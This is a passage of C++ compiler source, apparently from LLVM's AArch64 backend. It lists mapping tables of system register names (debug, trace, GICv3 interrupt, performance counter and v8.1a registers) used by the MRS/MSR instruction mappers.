{"id_isar4_el1", ID_ISAR4_EL1, 0},
{"id_isar5_el1", ID_ISAR5_EL1, 0},
{"id_aa64pfr0_el1", ID_A64PFR0_EL1, 0},
{"id_aa64pfr1_el1", ID_A64PFR1_EL1, 0},
{"id_aa64dfr0_el1", ID_A64DFR0_EL1, 0},
{"id_aa64dfr1_el1", ID_A64DFR1_EL1, 0},
{"id_aa64afr0_el1", ID_A64AFR0_EL1, 0},
{"id_aa64afr1_el1", ID_A64AFR1_EL1, 0},
{"id_aa64isar0_el1", ID_A64ISAR0_EL1, 0},
{"id_aa64isar1_el1", ID_A64ISAR1_EL1, 0},
{"id_aa64mmfr0_el1", ID_A64MMFR0_EL1, 0},
{"id_aa64mmfr1_el1", ID_A64MMFR1_EL1, 0},
{"mvfr0_el1", MVFR0_EL1, 0},
{"mvfr1_el1", MVFR1_EL1, 0},
{"mvfr2_el1", MVFR2_EL1, 0},
{"rvbar_el1", RVBAR_EL1, 0},
{"rvbar_el2", RVBAR_EL2, 0},
{"rvbar_el3", RVBAR_EL3, 0},
{"isr_el1", ISR_EL1, 0},
{"cntpct_el0", CNTPCT_EL0, 0},
{"cntvct_el0", CNTVCT_EL0, 0},
// Trace registers
{"trcstatr", TRCSTATR, 0},
{"trcidr8", TRCIDR8, 0},
{"trcidr9", TRCIDR9, 0},
{"trcidr10", TRCIDR10, 0},
{"trcidr11", TRCIDR11, 0},
{"trcidr12", TRCIDR12, 0},
{"trcidr13", TRCIDR13, 0},
{"trcidr0", TRCIDR0, 0},
{"trcidr1", TRCIDR1, 0},
{"trcidr2", TRCIDR2, 0},
{"trcidr3", TRCIDR3, 0},
{"trcidr4", TRCIDR4, 0},
{"trcidr5", TRCIDR5, 0},
{"trcidr6", TRCIDR6, 0},
{"trcidr7", TRCIDR7, 0},
{"trcoslsr", TRCOSLSR, 0},
{"trcpdsr", TRCPDSR, 0},
{"trcdevaff0", TRCDEVAFF0, 0},
{"trcdevaff1", TRCDEVAFF1, 0},
{"trclsr", TRCLSR, 0},
{"trcauthstatus", TRCAUTHSTATUS, 0},
{"trcdevarch", TRCDEVARCH, 0},
{"trcdevid", TRCDEVID, 0},
{"trcdevtype", TRCDEVTYPE, 0},
{"trcpidr4", TRCPIDR4, 0},
{"trcpidr5", TRCPIDR5, 0},
{"trcpidr6", TRCPIDR6, 0},
{"trcpidr7", TRCPIDR7, 0},
{"trcpidr0", TRCPIDR0, 0},
{"trcpidr1", TRCPIDR1, 0},
{"trcpidr2", TRCPIDR2, 0},
{"trcpidr3", TRCPIDR3, 0},
{"trccidr0", TRCCIDR0, 0},
{"trccidr1", TRCCIDR1, 0},
{"trccidr2", TRCCIDR2, 0},
{"trccidr3", TRCCIDR3, 0},
// GICv3 registers
{"icc_iar1_el1", ICC_IAR1_EL1, 0},
{"icc_iar0_el1", ICC_IAR0_EL1, 0},
{"icc_hppir1_el1", ICC_HPPIR1_EL1, 0},
{"icc_hppir0_el1", ICC_HPPIR0_EL1, 0},
{"icc_rpr_el1", ICC_RPR_EL1, 0},
{"ich_vtr_el2", ICH_VTR_EL2, 0},
{"ich_eisr_el2", ICH_EISR_EL2, 0},
{"ich_elsr_el2", ICH_ELSR_EL2, 0}
};
AArch64SysReg::MRSMapper::MRSMapper() {
InstMappings = &MRSMappings[0];
NumInstMappings = llvm::array_lengthof(MRSMappings);
}
const AArch64NamedImmMapper::Mapping AArch64SysReg::MSRMapper::MSRMappings[] = {
{"dbgdtrtx_el0", DBGDTRTX_EL0, 0},
{"oslar_el1", OSLAR_EL1, 0},
{"pmswinc_el0", PMSWINC_EL0, 0},
// Trace registers
{"trcoslar", TRCOSLAR, 0},
{"trclar", TRCLAR, 0},
// GICv3 registers
{"icc_eoir1_el1", ICC_EOIR1_EL1, 0},
{"icc_eoir0_el1", ICC_EOIR0_EL1, 0},
{"icc_dir_el1", ICC_DIR_EL1, 0},
{"icc_sgi1r_el1", ICC_SGI1R_EL1, 0},
{"icc_asgi1r_el1", ICC_ASGI1R_EL1, 0},
{"icc_sgi0r_el1", ICC_SGI0R_EL1, 0},
// v8.1a "Privileged Access Never" extension-specific system registers
{"pan", PAN, AArch64::HasV8_1aOps},
};
AArch64SysReg::MSRMapper::MSRMapper() {
InstMappings = &MSRMappings[0];
NumInstMappings = llvm::array_lengthof(MSRMappings);
}
const AArch64NamedImmMapper::Mapping AArch64SysReg::SysRegMapper::SysRegMappings[] = {
{"osdtrrx_el1", OSDTRRX_EL1, 0},
{"osdtrtx_el1", OSDTRTX_EL1, 0},
{"teecr32_el1", TEECR32_EL1, 0},
{"mdccint_el1", MDCCINT_EL1, 0},
{"mdscr_el1", MDSCR_EL1, 0},
{"dbgdtr_el0", DBGDTR_EL0, 0},
{"oseccr_el1", OSECCR_EL1, 0},
{"dbgvcr32_el2", DBGVCR32_EL2, 0},
{"dbgbvr0_el1", DBGBVR0_EL1, 0},
{"dbgbvr1_el1", DBGBVR1_EL1, 0},
{"dbgbvr2_el1", DBGBVR2_EL1, 0},
{"dbgbvr3_el1", DBGBVR3_EL1, 0},
{"dbgbvr4_el1", DBGBVR4_EL1, 0},
{"dbgbvr5_el1", DBGBVR5_EL1, 0},
{"dbgbvr6_el1", DBGBVR6_EL1, 0},
{"dbgbvr7_el1", DBGBVR7_EL1, 0},
{"dbgbvr8_el1", DBGBVR8_EL1, 0},
{"dbgbvr9_el1", DBGBVR9_EL1, 0},
{"dbgbvr10_el1", DBGBVR10_EL1, 0},
{"dbgbvr11_el1", DBGBVR11_EL1, 0},
{"dbgbvr12_el1", DBGBVR12_EL1, 0},
{"dbgbvr13_el1", DBGBVR13_EL1, 0},
{"dbgbvr14_el1", DBGBVR14_EL1, 0},
{"dbgbvr15_el1", DBGBVR15_EL1, 0},
{"dbgbcr0_el1", DBGBCR0_EL1, 0},
{"dbgbcr1_el1", DBGBCR1_EL1, 0},
{"dbgbcr2_el1", DBGBCR2_EL1, 0},
{"dbgbcr3_el1", DBGBCR3_EL1, 0},
{"dbgbcr4_el1", DBGBCR4_EL1, 0},
{"dbgbcr5_el1", DBGBCR5_EL1, 0},
{"dbgbcr6_el1", DBGBCR6_EL1, 0},
{"dbgbcr7_el1", DBGBCR7_EL1, 0},
{"dbgbcr8_el1", DBGBCR8_EL1, 0},
{"dbgbcr9_el1", DBGBCR9_EL1, 0},
{"dbgbcr10_el1", DBGBCR10_EL1, 0},
{"dbgbcr11_el1", DBGBCR11_EL1, 0},
{"dbgbcr12_el1", DBGBCR12_EL1, 0},
{"dbgbcr13_el1", DBGBCR13_EL1, 0},
{"dbgbcr14_el1", DBGBCR14_EL1, 0},
{"dbgbcr15_el1", DBGBCR15_EL1, 0},
{"dbgwvr0_el1", DBGWVR0_EL1, 0},
{"dbgwvr1_el1", DBGWVR1_EL1, 0},
{"dbgwvr2_el1", DBGWVR2_EL1, 0},
{"dbgwvr3_el1", DBGWVR3_EL1, 0},
{"dbgwvr4_el1", DBGWVR4_EL1, 0},
{"dbgwvr5_el1", DBGWVR5_EL1, 0},
{"dbgwvr6_el1", DBGWVR6_EL1, 0},
{"dbgwvr7_el1", DBGWVR7_EL1, 0},
{"dbgwvr8_el1", DBGWVR8_EL1, 0},
{"dbgwvr9_el1", DBGWVR9_EL1, 0},
{"dbgwvr10_el1", DBGWVR10_EL1, 0},
{"dbgwvr11_el1", DBGWVR11_EL1, 0},
{"dbgwvr12_el1", DBGWVR12_EL1, 0},
{"dbgwvr13_el1", DBGWVR13_EL1, 0},
{"dbgwvr14_el1", DBGWVR14_EL1, 0},
{"dbgwvr15_el1", DBGWVR15_EL1, 0},
{"dbgwcr0_el1", DBGWCR0_EL1, 0},
{"dbgwcr1_el1", DBGWCR1_EL1, 0},
{"dbgwcr2_el1", DBGWCR2_EL1, 0},
{"dbgwcr3_el1", DBGWCR3_EL1, 0},
{"dbgwcr4_el1", DBGWCR4_EL1, 0},
{"dbgwcr5_el1", DBGWCR5_EL1, 0},
{"dbgwcr6_el1", DBGWCR6_EL1, 0},
{"dbgwcr7_el1", DBGWCR7_EL1, 0},
{"dbgwcr8_el1", DBGWCR8_EL1, 0},
{"dbgwcr9_el1", DBGWCR9_EL1, 0},
{"dbgwcr10_el1", DBGWCR10_EL1, 0},
{"dbgwcr11_el1", DBGWCR11_EL1, 0},
{"dbgwcr12_el1", DBGWCR12_EL1, 0},
{"dbgwcr13_el1", DBGWCR13_EL1, 0},
{"dbgwcr14_el1", DBGWCR14_EL1, 0},
{"dbgwcr15_el1", DBGWCR15_EL1, 0},
{"teehbr32_el1", TEEHBR32_EL1, 0},
{"osdlr_el1", OSDLR_EL1, 0},
{"dbgprcr_el1", DBGPRCR_EL1, 0},
{"dbgclaimset_el1", DBGCLAIMSET_EL1, 0},
{"dbgclaimclr_el1", DBGCLAIMCLR_EL1, 0},
{"csselr_el1", CSSELR_EL1, 0},
{"vpidr_el2", VPIDR_EL2, 0},
{"vmpidr_el2", VMPIDR_EL2, 0},
{"sctlr_el1", SCTLR_EL1, 0},
{"sctlr_el2", SCTLR_EL2, 0},
{"sctlr_el3", SCTLR_EL3, 0},
{"actlr_el1", ACTLR_EL1, 0},
{"actlr_el2", ACTLR_EL2, 0},
{"actlr_el3", ACTLR_EL3, 0},
{"cpacr_el1", CPACR_EL1, 0},
{"hcr_el2", HCR_EL2, 0},
{"scr_el3", SCR_EL3, 0},
{"mdcr_el2", MDCR_EL2, 0},
{"sder32_el3", SDER32_EL3, 0},
{"cptr_el2", CPTR_EL2, 0},
{"cptr_el3", CPTR_EL3, 0},
{"hstr_el2", HSTR_EL2, 0},
{"hacr_el2", HACR_EL2, 0},
{"mdcr_el3", MDCR_EL3, 0},
{"ttbr0_el1", TTBR0_EL1, 0},
{"ttbr0_el2", TTBR0_EL2, 0},
{"ttbr0_el3", TTBR0_EL3, 0},
{"ttbr1_el1", TTBR1_EL1, 0},
{"tcr_el1", TCR_EL1, 0},
{"tcr_el2", TCR_EL2, 0},
{"tcr_el3", TCR_EL3, 0},
{"vttbr_el2", VTTBR_EL2, 0},
{"vtcr_el2", VTCR_EL2, 0},
{"dacr32_el2", DACR32_EL2, 0},
{"spsr_el1", SPSR_EL1, 0},
{"spsr_el2", SPSR_EL2, 0},
{"spsr_el3", SPSR_EL3, 0},
{"elr_el1", ELR_EL1, 0},
{"elr_el2", ELR_EL2, 0},
{"elr_el3", ELR_EL3, 0},
{"sp_el0", SP_EL0, 0},
{"sp_el1", SP_EL1, 0},
{"sp_el2", SP_EL2, 0},
{"spsel", SPSel, 0},
{"nzcv", NZCV, 0},
{"daif", DAIF, 0},
{"currentel", CurrentEL, 0},
{"spsr_irq", SPSR_irq, 0},
{"spsr_abt", SPSR_abt, 0},
{"spsr_und", SPSR_und, 0},
{"spsr_fiq", SPSR_fiq, 0},
{"fpcr", FPCR, 0},
{"fpsr", FPSR, 0},
{"dspsr_el0", DSPSR_EL0, 0},
{"dlr_el0", DLR_EL0, 0},
{"ifsr32_el2", IFSR32_EL2, 0},
{"afsr0_el1", AFSR0_EL1, 0},
{"afsr0_el2", AFSR0_EL2, 0},
{"afsr0_el3", AFSR0_EL3, 0},
{"afsr1_el1", AFSR1_EL1, 0},
{"afsr1_el2", AFSR1_EL2, 0},
{"afsr1_el3", AFSR1_EL3, 0},
{"esr_el1", ESR_EL1, 0},
{"esr_el2", ESR_EL2, 0},
{"esr_el3", ESR_EL3, 0},
{"fpexc32_el2", FPEXC32_EL2, 0},
{"far_el1", FAR_EL1, 0},
{"far_el2", FAR_EL2, 0},
{"far_el3", FAR_EL3, 0},
{"hpfar_el2", HPFAR_EL2, 0},
{"par_el1", PAR_EL1, 0},
{"pmcr_el0", PMCR_EL0, 0},
{"pmcntenset_el0", PMCNTENSET_EL0, 0},
{"pmcntenclr_el0", PMCNTENCLR_EL0, 0},
{"pmovsclr_el0", PMOVSCLR_EL0, 0},
{"pmselr_el0", PMSELR_EL0, 0},
{"pmccntr_el0", PMCCNTR_EL0, 0},
{"pmxevtyper_el0", PMXEVTYPER_EL0, 0},
{"pmxevcntr_el0", PMXEVCNTR_EL0, 0},
{"pmuserenr_el0", PMUSERENR_EL0, 0},
{"pmintenset_el1", PMINTENSET_EL1, 0},
{"pmintenclr_el1", PMINTENCLR_EL1, 0},
{"pmovsset_el0", PMOVSSET_EL0, 0},
{"mair_el1", MAIR_EL1, 0},
{"mair_el2", MAIR_EL2, 0},
{"mair_el3", MAIR_EL3, 0},
{"amair_el1", AMAIR_EL1, 0},
{"amair_el2", AMAIR_EL2, 0},
{"amair_el3", AMAIR_EL3, 0},
{"vbar_el1", VBAR_EL1, 0},
{"vbar_el2", VBAR_EL2, 0},
{"vbar_el3", VBAR_EL3, 0},
{"rmr_el1", RMR_EL1, 0},
{"rmr_el2", RMR_EL2, 0},
{"rmr_el3", RMR_EL3, 0},
{"contextidr_el1", CONTEXTIDR_EL1, 0},
{"tpidr_el0", TPIDR_EL0, 0},
{"tpidr_el2", TPIDR_EL2, 0},
{"tpidr_el3", TPIDR_EL3, 0},
{"tpidrro_el0", TPIDRRO_EL0, 0},
{"tpidr_el1", TPIDR_EL1, 0},
{"cntfrq_el0", CNTFRQ_EL0, 0},
{"cntvoff_el2", CNTVOFF_EL2, 0},
{"cntkctl_el1", CNTKCTL_EL1, 0},
{"cnthctl_el2", CNTHCTL_EL2, 0},
{"cntp_tval_el0", CNTP_TVAL_EL0, 0},
{"cnthp_tval_el2", CNTHP_TVAL_EL2, 0},
{"cntps_tval_el1", CNTPS_TVAL_EL1, 0},
{"cntp_ctl_el0", CNTP_CTL_EL0, 0},
{"cnthp_ctl_el2", CNTHP_CTL_EL2, 0},
{"cntps_ctl_el1", CNTPS_CTL_EL1, 0},
{"cntp_cval_el0", CNTP_CVAL_EL0, 0},
{"cnthp_cval_el2", CNTHP_CVAL_EL2, 0},
{"cntps_cval_el1", CNTPS_CVAL_EL1, 0},
{"cntv_tval_el0", CNTV_TVAL_EL0, 0},
{"cntv_ctl_el0", CNTV_CTL_EL0, 0},
{"cntv_cval_el0", CNTV_CVAL_EL0, 0},
{"pmevcntr0_el0", PMEVCNTR0_EL0, 0},
{"pmevcntr1_el0", PMEVCNTR1_EL0, 0},
{"pmevcntr2_el0", PMEVCNTR2_EL0, 0},
{"pmevcntr3_el0", PMEVCNTR3_EL0, 0},
{"pmevcntr4_el0", PMEVCNTR4_EL0, 0},
{"pmevcntr5_el0", PMEVCNTR5_EL0, 0},
{"pmevcntr6_el0", PMEVCNTR6_EL0, 0},
{"pmevcntr7_el0", PMEVCNTR7_EL0, 0},
{"pmevcntr8_el0", PMEVCNTR8_EL0, 0},
{"pmevcntr9_el0", PMEVCNTR9_EL0, 0},
{"pmevcntr10_el0", PMEVCNTR10_EL0, 0},
{"pmevcntr11_el0", PMEVCNTR11_EL0, 0},
{"pmevcntr12_el0", PMEVCNTR12_EL0, 0},
{"pmevcntr13_el0", PMEVCNTR13_EL0, 0},
{"pmevcntr14_el0", PMEVCNTR14_EL0, 0},
{"pmevcntr15_el0", PMEVCNTR15_EL0, 0},
{"pmevcntr16_el0", PMEVCNTR16_EL0, 0},
{"pmevcntr17_el0", PMEVCNTR17_EL0, 0},
{"pmevcntr18_el0", PMEVCNTR18_EL0, 0},
{"pmevcntr19_el0", PMEVCNTR19_EL0, 0},
{"pmevcntr20_el0", PMEVCNTR20_EL0, 0},
{"pmevcntr21_el0", PMEVCNTR21_EL0, 0},
{"pmevcntr22_el0", PMEVCNTR22_EL0, 0},
{"pmevcntr23_el0", PMEVCNTR23_EL0, 0},
{"pmevcntr24_el0", PMEVCNTR24_EL0, 0},
{"pmevcntr25_el0", PMEVCNTR25_EL0, 0},
{"pmevcntr26_el0", PMEVCNTR26_EL0, 0},
{"pmevcntr27_el0", PMEVCNTR27_EL0, 0},
{"pmevcntr28_el0", PMEVCNTR28_EL0, 0},
{"pmevcntr29_el0", PMEVCNTR29_EL0, 0},
{"pmevcntr30_el0", PMEVCNTR30_EL0, 0},
{"pmccfiltr_el0", PMCCFILTR_EL0, 0},
{"pmevtyper0_el0", PMEVTYPER0_EL0, 0},
{"pmevtyper1_el0", PMEVTYPER1_EL0, 0},
{"pmevtyper2_el0", PMEVTYPER2_EL0, 0},
{"pmevtyper3_el0", PMEVTYPER3_EL0, 0},
{"pmevtyper4_el0", PMEVTYPER4_EL0, 0},
{"pmevtyper5_el0", PMEVTYPER5_EL0, 0},
{"pmevtyper6_el0", PMEVTYPER6_EL0, 0},
{"pmevtyper7_el0", PMEVTYPER7_EL0, 0},
{"pmevtyper8_el0", PMEVTYPER8_EL0, 0},
{"pmevtyper9_el0", PMEVTYPER9_EL0, 0},
{"pmevtyper10_el0", PMEVTYPER10_EL0, 0},
{"pmevtyper11_el0", PMEVTYPER11_EL0, 0},
{"pmevtyper12_el0", PMEVTYPER12_EL0, 0},
{"pmevtyper13_el0", PMEVTYPER13_EL0, 0},
{"pmevtyper14_el0", PMEVTYPER14_EL0, 0},
{"pmevtyper15_el0", PMEVTYPER15_EL0, 0},
{"pmevtyper16_el0", PMEVTYPER16_EL0, 0},
{"pmevtyper17_el0", PMEVTYPER17_EL0, 0},
{"pmevtyper18_el0", PMEVTYPER18_EL0, 0},
{"pmevtyper19_el0", PMEVTYPER19_EL0, 0},
{"pmevtyper20_el0", PMEVTYPER20_EL0, 0},
{"pmevtyper21_el0", PMEVTYPER21_EL0, 0},
{"pmevtyper22_el0", PMEVTYPER22_EL0, 0},
{"pmevtyper23_el0", PMEVTYPER23_EL0, 0},
{"pmevtyper24_el0", PMEVTYPER24_EL0, 0},
{"pmevtyper25_el0", PMEVTYPER25_EL0, 0},
{"pmevtyper26_el0", PMEVTYPER26_EL0, 0},
{"pmevtyper27_el0", PMEVTYPER27_EL0, 0},
{"pmevtyper28_el0", PMEVTYPER28_EL0, 0},
{"pmevtyper29_el0", PMEVTYPER29_EL0, 0},
{"pmevtyper30_el0", PMEVTYPER30_EL0, 0},
// Trace registers
{"trcprgctlr", TRCPRGCTLR, 0},
{"trcprocselr", TRCPROCSELR, 0},
{"trcconfigr", TRCCONFIGR, 0},
{"trcauxctlr", TRCAUXCTLR, 0},
{"trceventctl0r", TRCEVENTCTL0R, 0},
{"trceventctl1r", TRCEVENTCTL1R, 0},
{"trcstallctlr", TRCSTALLCTLR, 0},
{"trctsctlr", TRCTSCTLR, 0},
{"trcsyncpr", TRCSYNCPR, 0},
{"trcccctlr", TRCCCCTLR, 0},
{"trcbbctlr", TRCBBCTLR, 0},
{"trctraceidr", TRCTRACEIDR, 0},
{"trcqctlr", TRCQCTLR, 0},
{"trcvictlr", TRCVICTLR, 0},
{"trcviiectlr", TRCVIIECTLR, 0},
{"trcvissctlr", TRCVISSCTLR, 0},
{"trcvipcssctlr", TRCVIPCSSCTLR, 0},
{"trcvdctlr", TRCVDCTLR, 0},
{"trcvdsacctlr", TRCVDSACCTLR, 0},
{"trcvdarcctlr", TRCVDARCCTLR, 0},
{"trcseqevr0", TRCSEQEVR0, 0},
{"trcseqevr1", TRCSEQEVR1, 0},
{"trcseqevr2", TRCSEQEVR2, 0},
{"trcseqrstevr", TRCSEQRSTEVR, 0},
{"trcseqstr", TRCSEQSTR, 0},
{"trcextinselr", TRCEXTINSELR, 0},
{"trccntrldvr0", TRCCNTRLDVR0, 0},
{"trccntrldvr1", TRCCNTRLDVR1, 0},
{"trccntrldvr2", TRCCNTRLDVR2, 0},
{"trccntrldvr3", TRCCNTRLDVR3, 0},
{"trccntctlr0", TRCCNTCTLR0, 0},
{"trccntctlr1", TRCCNTCTLR1, 0},
{"trccntctlr2", TRCCNTCTLR2, 0},
{"trccntctlr3", TRCCNTCTLR3, 0},
{"trccntvr0", TRCCNTVR0, 0},
{"trccntvr1", TRCCNTVR1, 0},
{"trccntvr2", TRCCNTVR2, 0},
{"trccntvr3", TRCCNTVR3, 0},
{"trcimspec0", TRCIMSPEC0, 0},
{"trcimspec1", TRCIMSPEC1, 0},
{"trcimspec2", TRCIMSPEC2, 0},
{"trcimspec3", TRCIMSPEC3, 0},
{"trcimspec4", TRCIMSPEC4, 0},
{"trcimspec5", TRCIMSPEC5, 0},
{"trcimspec6", TRCIMSPEC6, 0},
{"trcimspec7", TRCIMSPEC7, 0},
{"trcrsctlr2", TRCRSCTLR2, 0},
{"trcrsctlr3", TRCRSCTLR3, 0},
{"trcrsctlr4", TRCRSCTLR4, 0},
{"trcrsctlr5", TRCRSCTLR5, 0},
{"trcrsctlr6", TRCRSCTLR6, 0},
{"trcrsctlr7", TRCRSCTLR7, 0},
{"trcrsctlr8", TRCRSCTLR8, 0},
{"trcrsctlr9", TRCRSCTLR9, 0},
{"trcrsctlr10", TRCRSCTLR10, 0},
{"trcrsctlr11", TRCRSCTLR11, 0},
{"trcrsctlr12", TRCRSCTLR12, 0},
{"trcrsctlr13", TRCRSCTLR13, 0},
{"trcrsctlr14", TRCRSCTLR14, 0},
{"trcrsctlr15", TRCRSCTLR15, 0},
{"trcrsctlr16", TRCRSCTLR16, 0},
{"trcrsctlr17", TRCRSCTLR17, 0},
{"trcrsctlr18", TRCRSCTLR18, 0},
{"trcrsctlr19", TRCRSCTLR19, 0},
{"trcrsctlr20", TRCRSCTLR20, 0},
{"trcrsctlr21", TRCRSCTLR21, 0},
{"trcrsctlr22", TRCRSCTLR22, 0},
{"trcrsctlr23", TRCRSCTLR23, 0},
{"trcrsctlr24", TRCRSCTLR24, 0},
{"trcrsctlr25", TRCRSCTLR25, 0},
{"trcrsctlr26", TRCRSCTLR26, 0},
{"trcrsctlr27", TRCRSCTLR27, 0},
{"trcrsctlr28", TRCRSCTLR28, 0},
{"trcrsctlr29", TRCRSCTLR29, 0},
{"trcrsctlr30", TRCRSCTLR30, 0},
{"trcrsctlr31", TRCRSCTLR31, 0},
{"trcssccr0", TRCSSCCR0, 0},
{"trcssccr1", TRCSSCCR1, 0},
{"trcssccr2", TRCSSCCR2, 0},
{"trcssccr3", TRCSSCCR3, 0},
{"trcssccr4", TRCSSCCR4, 0},
{"trcssccr5", TRCSSCCR5, 0},
{"trcssccr6", TRCSSCCR6, 0},
{"trcssccr7", TRCSSCCR7, 0},
{"trcsscsr0", TRCSSCSR0, 0},
{"trcsscsr1", TRCSSCSR1, 0},
{"trcsscsr2", TRCSSCSR2, 0},
{"trcsscsr3", TRCSSCSR3, 0},
{"trcsscsr4", TRCSSCSR4, 0},
{"trcsscsr5", TRCSSCSR5, 0},
{"trcsscsr6", TRCSSCSR6, 0},
{"trcsscsr7", TRCSSCSR7, 0},
{"trcsspcicr0", TRCSSPCICR0, 0},
{"trcsspcicr1", TRCSSPCICR1, 0},
{"trcsspcicr2", TRCSSPCICR2, 0},
{"trcsspcicr3", TRCSSPCICR3, 0},
{"trcsspcicr4", TRCSSPCICR4, 0},
{"trcsspcicr5", TRCSSPCICR5, 0},
{"trcsspcicr6", TRCSSPCICR6, 0},
{"trcsspcicr7", TRCSSPCICR7, 0},
{"trcpdcr", TRCPDCR, 0},
{"trcacvr0", TRCACVR0, 0},
{"trcacvr1", TRCACVR1, 0},
{"trcacvr2", TRCACVR2, 0},
{"trcacvr3", TRCACVR3, 0},
{"trcacvr4", TRCACVR4, 0},
{"trcacvr5", TRCACVR5, 0},
{"trcacvr6", TRCACVR6, 0},
{"trcacvr7", TRCACVR7, 0},
{"trcacvr8", TRCACVR8, 0},
{"trcacvr9", TRCACVR9, 0},
{"trcacvr10", TRCACVR10, 0},
{"trcacvr11", TRCACVR11, 0},
{"trcacvr12", TRCACVR12, 0},
{"trcacvr13", TRCACVR13, 0},
{"trcacvr14", TRCACVR14, 0},
{"trcacvr15", TRCACVR15, 0},
{"trcacatr0", TRCACATR0, 0},
{"trcacatr1", TRCACATR1, 0},
{"trcacatr2", TRCACATR2, 0},
{"trcacatr3", TRCACATR3, 0},
{"trcacatr4", TRCACATR4, 0},
{"trcacatr5", TRCACATR5, 0},
{"trcacatr6", TRCACATR6, 0},
{"trcacatr7", TRCACATR7, 0},
{"trcacatr8", TRCACATR8, 0},
{"trcacatr9", TRCACATR9, 0},
{"trcacatr10", TRCACATR10, 0},
{"trcacatr11", TRCACATR11, 0},
{"trcacatr12", TRCACATR12, 0},
{"trcacatr13", TRCACATR13, 0},
{"trcacatr14", TRCACATR14, 0},
{"trcacatr15", TRCACATR15, 0},
{"trcdvcvr0", TRCDVCVR0, 0},
{"trcdvcvr1", TRCDVCVR1, 0},
{"trcdvcvr2", TRCDVCVR2, 0},
{"trcdvcvr3", TRCDVCVR3, 0},
{"trcdvcvr4", TRCDVCVR4, 0},
{"trcdvcvr5", TRCDVCVR5, 0},
{"trcdvcvr6", TRCDVCVR6, 0},
{"trcdvcvr7", TRCDVCVR7, 0},
{"trcdvcmr0", TRCDVCMR0, 0},
{"trcdvcmr1", TRCDVCMR1, 0},
{"trcdvcmr2", TRCDVCMR2, 0},
{"trcdvcmr3", TRCDVCMR3, 0},
{"trcdvcmr4", TRCDVCMR4, 0},
{"trcdvcmr5", TRCDVCMR5, 0},
{"trcdvcmr6", TRCDVCMR6, 0},
{"trcdvcmr7", TRCDVCMR7, 0},
{"trccidcvr0", TRCCIDCVR0, 0},
{"trccidcvr1", TRCCIDCVR1, 0},
{"trccidcvr2", TRCCIDCVR2, 0},
{"trccidcvr3", TRCCIDCVR3, 0},
{"trccidcvr4", TRCCIDCVR4, 0},
{"trccidcvr5", TRCCIDCVR5, 0},
{"trccidcvr6", TRCCIDCVR6, 0},
{"trccidcvr7", TRCCIDCVR7, 0},
{"trcvmidcvr0", TRCVMIDCVR0, 0},
{"trcvmidcvr1", TRCVMIDCVR1, 0},
{"trcvmidcvr2", TRCVMIDCVR2, 0},
{"trcvmidcvr3", TRCVMIDCVR3, 0},
{"trcvmidcvr4", TRCVMIDCVR4, 0},
{"trcvmidcvr5", TRCVMIDCVR5, 0},
{"trcvmidcvr6", TRCVMIDCVR6, 0},
{"trcvmidcvr7", TRCVMIDCVR7, 0},
{"trccidcctlr0", TRCCIDCCTLR0, 0},
{"trccidcctlr1", TRCCIDCCTLR1, 0},
{"trcvmidcctlr0", TRCVMIDCCTLR0, 0},
{"trcvmidcctlr1", TRCVMIDCCTLR1, 0},
{"trcitctrl", TRCITCTRL, 0},
{"trcclaimset", TRCCLAIMSET, 0},
{"trcclaimclr", TRCCLAIMCLR, 0},
// GICv3 registers
{"icc_bpr1_el1", ICC_BPR1_EL1, 0},
{"icc_bpr0_el1", ICC_BPR0_EL1, 0},
{"icc_pmr_el1", ICC_PMR_EL1, 0},
{"icc_ctlr_el1", ICC_CTLR_EL1, 0},
{"icc_ctlr_el3", ICC_CTLR_EL3, 0},
{"icc_sre_el1", ICC_SRE_EL1, 0},
{"icc_sre_el2", ICC_SRE_EL2, 0},
{"icc_sre_el3", ICC_SRE_EL3, 0},
{"icc_igrpen0_el1", ICC_IGRPEN0_EL1, 0},
{"icc_igrpen1_el1", ICC_IGRPEN1_EL1, 0},
{"icc_igrpen1_el3", ICC_IGRPEN1_EL3, 0},
{"icc_seien_el1", ICC_SEIEN_EL1, 0},
{"icc_ap0r0_el1", ICC_AP0R0_EL1, 0},
{"icc_ap0r1_el1", ICC_AP0R1_EL1, 0},
{"icc_ap0r2_el1", ICC_AP0R2_EL1, 0},
{"icc_ap0r3_el1", ICC_AP0R3_EL1, 0},
{"icc_ap1r0_el1", ICC_AP1R0_EL1, 0},
{"icc_ap1r1_el1", ICC_AP1R1_EL1, 0},
{"icc_ap1r2_el1", ICC_AP1R2_EL1, 0},
{"icc_ap1r3_el1", ICC_AP1R3_EL1, 0},
{"ich_ap0r0_el2", ICH_AP0R0_EL2, 0},
{"ich_ap0r1_el2", ICH_AP0R1_EL2, 0},
{"ich_ap0r2_el2", ICH_AP0R2_EL2, 0},
{"ich_ap0r3_el2", ICH_AP0R3_EL2, 0},
{"ich_ap1r0_el2", ICH_AP1R0_EL2, 0},
{"ich_ap1r1_el2", ICH_AP1R1_EL2, 0},
{"ich_ap1r2_el2", ICH_AP1R2_EL2, 0},
{"ich_ap1r3_el2", ICH_AP1R3_EL2, 0},
{"ich_hcr_el2", ICH_HCR_EL2, 0},
{"ich_misr_el2", ICH_MISR_EL2, 0},
{"ich_vmcr_el2", ICH_VMCR_EL2, 0},
{"ich_vseir_el2", ICH_VSEIR_EL2, 0},
{"ich_lr0_el2", ICH_LR0_EL2, 0},
{"ich_lr1_el2", ICH_LR1_EL2, 0},
{"ich_lr2_el2", ICH_LR2_EL2, 0},
{"ich_lr3_el2", ICH_LR3_EL2, 0},
{"ich_lr4_el2", ICH_LR4_EL2, 0},
{"ich_lr5_el2", ICH_LR5_EL2, 0},
{"ich_lr6_el2", ICH_LR6_EL2, 0},
{"ich_lr7_el2", ICH_LR7_EL2, 0},
{"ich_lr8_el2", ICH_LR8_EL2, 0},
{"ich_lr9_el2", ICH_LR9_EL2, 0},
{"ich_lr10_el2", ICH_LR10_EL2, 0},
{"ich_lr11_el2", ICH_LR11_EL2, 0},
{"ich_lr12_el2", ICH_LR12_EL2, 0},
{"ich_lr13_el2", ICH_LR13_EL2, 0},
{"ich_lr14_el2", ICH_LR14_EL2, 0},
{"ich_lr15_el2", ICH_LR15_EL2, 0},
// Cyclone registers
{"cpm_ioacc_ctl_el3", CPM_IOACC_CTL_EL3, AArch64::ProcCyclone},
// v8.1a "Privileged Access Never" extension-specific system registers
{"pan", PAN, AArch64::HasV8_1aOps},
// v8.1a "Limited Ordering Regions" extension-specific system registers
{"lorsa_el1", LORSA_EL1, AArch64::HasV8_1aOps},
{"lorea_el1", LOREA_EL1, AArch64::HasV8_1aOps},
{"lorn_el1", LORN_EL1, AArch64::HasV8_1aOps},
{"lorc_el1", LORC_EL1, AArch64::HasV8_1aOps},
